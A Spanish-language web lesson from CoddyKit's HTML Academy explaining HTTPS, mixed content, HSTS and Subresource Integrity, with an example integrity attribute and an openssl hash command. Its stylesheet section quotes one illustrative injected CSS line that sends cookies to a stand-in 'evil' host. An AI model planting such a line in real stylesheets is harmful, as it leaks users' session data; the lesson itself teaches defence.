HTTPS e integridad de subrecursos
Verifique la integridad de recursos externos con el atributo integrity
HTTPS e integridad de subrecursos es una lección gratuita de HTML Academy en CoddyKit. Esta es la lección 4 de 4. Puedes leer la lección completa abajo gratuitamente — luego la practicas en el navegador con un editor de código integrado y un tutor de IA 24/7. Forma parte de la ruta de aprendizaje de HTML Academy, y tu progreso se sincroniza en la web y la app de CoddyKit. El curso de HTML Academy incluye 4 lecciones en total.
Por qué usar HTTPS en todas partes
HTTPS cifra los datos en tránsito y autentica el servidor. Sin HTTPS, los atacantes de la misma red (Wi-Fi de una cafetería, ISP, actores estatales) pueden leer cada byte e inyectar contenido malicioso en las respuestas. Los navegadores modernos marcan las páginas HTTP como "Not Secure" y muchas API (cámara, geolocalización, service workers) se niegan a funcionar mediante HTTP.
Contenido mixto
Cargar recursos HTTP desde una página HTTPS es contenido mixto. El navegador bloquea por completo el contenido mixto activo (scripts, iframes, hojas de estilo) y muestra advertencias sobre el contenido pasivo (imágenes). Cargue siempre todos los recursos mediante HTTPS; use URL relativas al protocolo (//cdn.example.com) o https:// absolutas.
HSTS
La cabecera de respuesta Strict-Transport-Security, correspondiente a HTTP Strict Transport Security, indica a los navegadores que rechacen futuras conexiones HTTP con su dominio. Una vez almacenado HSTS en la caché, un atacante no puede degradar la conexión de un usuario a HTTP, ni siquiera desde una posición de intermediario.
Por qué usar SRI
Cargar scripts desde CDNs de terceros resulta práctico, pero es arriesgado: si el CDN se ve comprometido, un atacante puede sustituir el script por malware. Subresource Integrity (SRI) hace que el navegador verifique el hash criptográfico del archivo antes de ejecutarlo y se niegue a ejecutarlo si el hash no coincide.
El atributo integrity
Añada un hash SHA-256/384/512 codificado en base64 a la etiqueta script: <script src="https://cdn.example.com/lib.js" integrity="sha384-..." crossorigin="anonymous"></script>. El navegador calcula el hash del archivo descargado y se niega a ejecutarlo si no coincide.
<link
rel="stylesheet"
href="https://cdn.example.com/styles.css"
integrity="sha384-Vkoo8x4CGsO3+Hhxv8T/Q5PaXtkKtu6ug5TOeNV6gBiFeWPGFN9MuhOf23Q9Ifjh"
crossorigin="anonymous">Generar hashes
Genere el hash con openssl: openssl dgst -sha384 -binary file.js | openssl base64 -A. También puede usar un plugin de la herramienta de compilación que genere automáticamente el atributo integrity. La mayoría de los CDN (jsdelivr, unpkg) muestran la etiqueta SRI en el fragmento listo para copiar y pegar.
crossorigin obligatorio
SRI requiere que la respuesta de origen cruzado permita comprobar la integridad mediante CORS. Añada crossorigin="anonymous" a la etiqueta y asegúrese de que el CDN envíe Access-Control-Allow-Origin. Sin esto, el navegador se niega a verificar el recurso y este no se carga.
Varios hashes
El atributo integrity puede contener varios hashes separados por espacios. Resulta útil durante una transición de versión: incluya los hashes de las versiones antigua y nueva, y el navegador aceptará la que sirva el CDN. Evite incluir más de un par de hashes para mantener legible el atributo.
SRI para hojas de estilo
SRI también protege <link rel="stylesheet">. Un archivo CSS comprometido es menos peligroso de forma directa que un script comprometido, pero un background: url("//evil/log?cookie=...") inyectado aún puede exfiltrar datos. Aplique SRI a todos los recursos externos siempre que sea posible.
A menudo conviene alojar los recursos localmente
SRI mitiga el compromiso de un CDN, pero no resuelve todos los problemas: un cambio de hash en el CDN deja de funcionar su página hasta que actualice el atributo integrity. Para las bibliotecas críticas, aloje usted mismo el archivo que haya revisado; así elimina de una vez la necesidad de fijar SRI y el riesgo de la cadena de suministro.
Rendimiento
SRI añade un cálculo de hash por recurso, insignificante en hardware moderno: unos microsegundos por kilobyte. La protección que proporciona contra ataques a la cadena de suministro supera con creces su coste. No existe ninguna razón de rendimiento para omitir SRI al cargar recursos desde un CDN.
Limitaciones
SRI verifica bytes específicos; no protege contra un CDN que sirva un archivo diferente a algunos usuarios (ataques dirigidos selectivamente). Para obtener la máxima garantía, combine SRI con HTTPS, HSTS, CSP y el alojamiento local de los recursos más críticos.
Comprobación de conocimientos
¿Contra qué protege el atributo integrity de una etiqueta script?
Resumen
HTTPS cifra y autentica, HSTS evita los ataques de degradación y SRI verifica que los archivos de terceros no hayan sido manipulados. Añada hashes de integridad (con crossorigin="anonymous") a todos los scripts y hojas de estilo externos de un CDN que no controle. Para los recursos más críticos, alójelos usted mismo; así elimina por completo el riesgo de la cadena de suministro.
Preguntas frecuentes
¿La lección «HTTPS e integridad de subrecursos» es gratis?
Sí — el texto completo de «HTTPS e integridad de subrecursos» es gratis para leer aquí en la web. Para practicarla de forma interactiva (editor de código integrado y tutor de IA 24/7) y desbloquear el resto del curso de HTML Academy, actualiza a CoddyKit PRO. El curso de HTML Academy incluye 4 lecciones en total.
¿Qué aprenderé en «HTTPS e integridad de subrecursos»?
Verifique la integridad de recursos externos con el atributo integrity Practicas HTML Academy con código real que ejecutas directamente en el navegador, y un tutor de IA 24/7 responde tus preguntas mientras trabajas en la lección.
¿Necesito experiencia previa para empezar HTML Academy?
No se requiere experiencia previa. HTML Academy en CoddyKit está estructurado para principiantes hasta estudiantes avanzados, así que puedes empezar aquí o desde el inicio y avanzar a tu ritmo. Esta es la lección 4 de 4.
¿Cuánto tiempo toma la lección «HTTPS e integridad de subrecursos»?
La mayoría de las lecciones de CoddyKit toman alrededor de 5–10 minutos. Cada una es compacta e interactiva, así que avanzas constantemente y retomas exactamente por donde dejaste en la web y la app.
¿Puedo escribir y ejecutar código en esta lección de HTML Academy?
Sí. Cada lección de HTML Academy incluye un editor de código integrado, así que escribes y ejecutas código real directamente en tu navegador y obtienes retroalimentación instantánea de IA — sin configuración local necesaria.
Todas las lecciones de este curso
- Content Security Policy: meta http-equiv
- XSS mediante innerHTML y cómo prevenirlo
- Sandbox de iframe y Permissions Policy
- HTTPS e integridad de subrecursos